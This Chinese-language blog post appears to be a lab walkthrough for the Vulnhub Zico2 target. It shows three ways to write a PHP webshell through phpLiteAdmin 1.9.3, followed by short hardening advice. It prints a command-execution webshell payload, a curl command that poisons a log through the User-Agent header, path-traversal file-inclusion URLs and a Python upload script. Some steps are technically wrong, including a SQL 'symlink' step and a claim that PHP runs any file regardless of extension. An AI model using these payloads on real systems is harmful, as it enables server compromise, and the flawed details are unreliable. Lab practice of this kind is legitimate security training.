Vulnhub Zico2 靶场:phpLiteAdmin 1.9.3 数据库文件写入 Webshell 的 3 种利用方式

📅 2026/7/8 20:21:47 👁️ 阅读次数 📝 编程学习
Vulnhub Zico2 靶场:phpLiteAdmin 1.9.3 数据库文件写入 Webshell 的 3 种利用方式

Vulnhub Zico2 靶场:phpLiteAdmin 1.9.3 数据库文件写入 Webshell 的 3 种利用方式

在渗透测试的学习过程中,Vulnhub 靶场一直是安全爱好者们练习实战技能的绝佳平台。Zico2 靶机作为其中一台中等难度的靶机,提供了一个非常有趣的漏洞场景——通过 phpLiteAdmin 1.9.3 数据库管理工具实现 Webshell 写入。本文将深入探讨这一漏洞的三种不同利用方式,帮助安全研究人员全面理解这一攻击向量。

1. 漏洞背景与环境准备

phpLiteAdmin 是一个轻量级的 SQLite 数据库管理工具,类似于 phpMyAdmin 但专为 SQLite 设计。在 Zico2 靶机中,该工具的 1.9.3 版本存在一个关键漏洞:允许攻击者通过数据库操作写入 PHP 代码并执行。

实验环境准备:

  • 靶机:Vulnhub Zico2 (IP: 192.168.x.x)
  • 攻击机:Kali Linux 或其他渗透测试发行版
  • 网络配置:确保靶机与攻击机在同一网络段

首先,我们需要识别靶机上的 phpLiteAdmin 服务。通过基本的端口扫描和目录爆破,通常可以发现该服务位于/dbadmin目录下:

nmap -sV -p- 192.168.x.x dirb http://192.168.x.x

2. 直接数据库文件写入法

这是最直接的利用方式,通过 phpLiteAdmin 的界面操作直接创建包含恶意代码的数据库文件。

操作步骤:

  1. 访问 phpLiteAdmin 界面(通常无需认证或使用弱口令即可登录)
  2. 创建新数据库(如shell.db
  3. 在新数据库中创建表(如evil
  4. 添加一个 TEXT 类型的字段
  5. 在该字段中插入 PHP 代码:
<?php system($_GET['cmd']); ?>
  1. 将数据库文件重命名为.php扩展名(如shell.php
  2. 访问该文件执行命令:
http://192.168.x.x/dbadmin/shell.php?cmd=id

关键技巧:

  • 某些版本可能需要使用相对路径重命名文件才能生效
  • 如果直接访问不成功,可以尝试通过 LFI(本地文件包含)漏洞包含该文件

3. 文件包含结合数据库写入法

当直接访问写入的 Webshell 受限时,可以结合靶机上可能存在的文件包含漏洞实现代码执行。

实施流程:

  1. 首先按照方法一创建包含恶意代码的数据库文件
  2. 识别靶机上的文件包含漏洞点(常见于 PHP 应用的参数如?page=
  3. 通过文件包含执行数据库中的代码:
http://192.168.x.x/index.php?page=../dbadmin/shell.db
  1. 传递命令参数:
http://192.168.x.x/index.php?page=../dbadmin/shell.db&cmd=whoami

优势:

  • 绕过直接访问限制
  • 更隐蔽,不易被常规防护措施发现

4. 路径穿越结合日志污染法

当上述方法都受限时,可以尝试更复杂的路径穿越结合日志污染技术。

详细步骤:

  1. 确定 phpLiteAdmin 的实际安装路径(如/var/www/html/dbadmin
  2. 通过 User-Agent 或其他可控制的输入污染日志文件:
curl -A "<?php system($_GET['cmd']); ?>" http://192.168.x.x/
  1. 使用 phpLiteAdmin 创建指向日志文件的符号链接:
CREATE TABLE evil (data TEXT); INSERT INTO evil VALUES ('<?php system($_GET['cmd']); ?>'); SELECT writefile('/var/www/html/dbadmin/access.php', '/var/log/apache2/access.log');
  1. 访问污染的日志文件执行代码:
http://192.168.x.x/dbadmin/access.php?cmd=id

注意事项:

  • 需要了解目标服务器的日志路径和权限设置
  • 可能需要多次尝试才能成功

5. 自动化利用脚本示例

为了简化利用过程,可以编写简单的自动化脚本。以下是 Python 伪代码示例:

import requests target = "http://192.168.x.x/dbadmin/" shell_name = "backdoor.php" php_code = "<?php system($_GET['cmd']); ?>" # 创建数据库 requests.post(target + "phpLiteAdmin.php", data={ "action": "create_db", "dbname": shell_name.replace(".php", "") }) # 创建表并插入代码 requests.post(target + "phpLiteAdmin.php", data={ "action": "add_table", "table": "evil", "field": "code TEXT", "value": php_code }) # 重命名文件 requests.get(target + "phpLiteAdmin.php?action=rename&new=" + shell_name) print(f"Webshell 已上传: {target + shell_name}")

6. 防御建议与修复方案

了解攻击手段后,我们更应该关注如何防御此类漏洞:

1. 权限控制:

  • 为 phpLiteAdmin 设置强密码认证
  • 限制数据库文件的写入目录和权限

2. 配置加固:

  • 禁用危险函数(如system()exec()
  • 设置open_basedir限制 PHP 可访问的目录

3. 更新与替代:

  • 升级到最新版本的 phpLiteAdmin
  • 考虑使用更安全的数据库管理工具

4. 监控措施:

  • 监控异常数据库文件创建行为
  • 检查日志中的可疑 PHP 代码片段

7. 漏洞原理深度分析

这个漏洞的核心在于 phpLiteAdmin 对用户输入的处理不当,具体表现在:

  1. 缺乏输入过滤:未对数据库内容进行严格的代码检测
  2. 不安全的文件操作:允许用户控制文件扩展名和存储位置
  3. 默认配置不安全:早期版本默认安装缺少必要的安全防护

从技术角度看,攻击者利用了以下 PHP 特性:

  • PHP 会解析任何包含 PHP 代码的文件,无论其扩展名是什么
  • SQLite 数据库文件本质上是普通文件,可以被 PHP 解释器解析
  • Web 服务器通常配置为允许执行特定目录下的 PHP 文件

理解这些底层原理有助于我们发现和防御类似的安全问题。